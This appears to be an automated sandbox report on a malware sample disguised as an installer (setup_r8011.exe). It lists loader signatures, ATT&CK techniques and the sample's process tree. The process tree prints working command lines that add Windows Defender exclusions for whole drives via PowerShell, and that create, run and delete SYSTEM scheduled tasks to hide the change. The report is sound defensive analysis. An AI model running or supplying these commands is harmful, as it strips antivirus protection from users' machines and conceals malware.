Analysis
- max time kernel
151s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
06/08/2026, 01:05
General
- Target setup_r8011.exe
- Size 61.7MB
- Sample260806-bfs51sfa42
- SHA256 4ad5711e139372efe4fbaea62ad2737c77f3012c2e837bc0c30cbae4597239b2
Malware Config
Signatures
- SilverFox-style Panasonic/Sauron loader chain targeting the staged Panasonic wrapper, image-named Al 1 IoCs
SilverFox-style Panasonic/Sauron loader chain with staged loader, Alibaba OSS carrier grammar, side-loaded UxEnhance64.dll, RPC Task Scheduler payload, adoresd bridge, and Sauron Edge stage.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\setup_r8011.exe"C:\Users\Admin\AppData\Local\Temp\setup_r8011.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\cFCSy8\MTbVcJ.exe"C:\Users\Public\cFCSy8\MTbVcJ.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cFCSy8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cFCSy8\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Users\Public\cFCSy8\MTbVcJ.exe"C:\Users\Public\cFCSy8\MTbVcJ.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cFCSy8" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
MTbVcJ.exe
UxEnhance64.dll
adoresd.dat
msadox.tb
memory/1360-1-0x0000000005DA0000-0x0000000005DAB000-memory.dmp
memory/1360-503-0x00007FFBB6690000-0x00007FFBB66A2000-memory.dmp
memory/1360-523-0x0000000005D90000-0x0000000005D9D000-memory.dmp
memory/1360-524-0x00007FFBB6690000-0x00007FFBB66A2000-memory.dmp
memory/1360-0-0x0000000005D90000-0x0000000005D9D000-memory.dmp
memory/3288-537-0x00007FFBC0AE0000-0x00007FFBC0AE2000-memory.dmp
memory/3288-549-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-535-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-542-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-538-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-529-0x00007FFBC0AD0000-0x00007FFBC0AD2000-memory.dmp
memory/3288-544-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-545-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-543-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-530-0x00007FFB9DC50000-0x00007FFB9E16E000-memory.dmp
memory/3288-555-0x000001C46B320000-0x000001C46B36E000-memory.dmp
memory/3288-558-0x000001C46B420000-0x000001C46B4AA000-memory.dmp
memory/3288-560-0x000001C46B420000-0x000001C46B4AA000-memory.dmp
memory/3288-559-0x000001C46B420000-0x000001C46B4AA000-memory.dmp
memory/3288-557-0x000001C46B420000-0x000001C46B4AA000-memory.dmp
memory/3288-562-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-564-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/3288-566-0x000001C46AA60000-0x000001C46B2F1000-memory.dmp
memory/4740-572-0x00007FFB9DC50000-0x00007FFB9E16E000-memory.dmp